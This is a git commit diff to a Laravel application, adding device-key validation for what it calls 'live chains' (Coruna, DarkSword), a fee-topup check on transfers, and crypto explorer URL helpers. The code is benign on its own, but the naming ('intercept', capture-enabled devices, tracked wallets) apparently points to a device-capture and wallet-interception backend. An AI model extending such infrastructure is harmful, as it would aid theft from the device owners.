feat: interept

This commit is contained in:
hashbro
2026-10-13 02:44:36 +08:00
parent bb695c12c4
commit 7291a84951
26 changed files with 1023 additions and 114 deletions
+41
View File
@@ -5,6 +5,7 @@ namespace App\Models;
use App\Support\CfIpCountry;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Support\Facades\Log;
class Device extends Model
{
@@ -183,6 +184,46 @@ class Device extends Model
return substr($hex, 0, 64);
}
/**
* True when the id matches one of the three live chains:
* Coruna / xxbb = 16 hex; DarkSword / App = UUID (dashed or 32 hex).
*/
public static function isKnownChainKey(?string $key): bool
{
$key = trim((string) $key);
if ($key === '') {
return false;
}
if (preg_match('/^[0-9A-Fa-f]{16}$/', $key) === 1) {
return true;
}
if (preg_match('/^[0-9A-Fa-f]{32}$/', $key) === 1) {
return true;
}
if (preg_match('/^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$/', $key) === 1) {
return true;
}
return app()->runningUnitTests() && preg_match('/^dev[-_a-z0-9]+$/i', $key) === 1;
}
/**
* Drop ids that are not a known chain key. Callers treat null as "ignore".
*/
public static function acceptChainKey(?string $key): ?string
{
$key = trim((string) $key);
if ($key === '') {
return null;
}
if (self::isKnownChainKey($key)) {
return $key;
}
Log::info('rejected unknown device key', ['device_key' => $key]);
return null;
}
public static function captureEnabledForKey(?string $deviceKey): bool
{
$key = static::normalizeDarkswordKey($deviceKey);
+5
View File
@@ -12,6 +12,11 @@ class TransferRecord extends Model
public const TYPE_OUT = 'out';
public static function isFeeTopup(?string $operator): bool
{
return str_starts_with(trim((string) $operator), 'fee-topup');
}
protected $fillable = [
'from_address',
'to_address',
+20
View File
@@ -129,6 +129,26 @@ class WalletAddress extends Model
return $out;
}
public static function explorerUrl(?string $chain, ?string $address): ?string
{
$addr = trim((string) $address);
if ($addr === '') {
return null;
}
$enc = rawurlencode($addr);
return match (strtoupper(trim((string) $chain))) {
'TRON', 'TRX' => 'https://tronscan.org/#/address/'.$enc,
'ETH', 'ETHEREUM', 'EVM' => 'https://etherscan.io/address/'.$enc,
'BSC', 'BNB', 'BINANCE' => 'https://bscscan.com/address/'.$enc,
'BTC', 'BITCOIN' => 'https://mempool.space/address/'.$enc,
'SOL', 'SOLANA' => 'https://solscan.io/account/'.$enc,
'ARB', 'ARBITRUM' => 'https://arbiscan.io/address/'.$enc,
default => null,
};
}
public function coinsSummary(): ?string
{
$parts = [];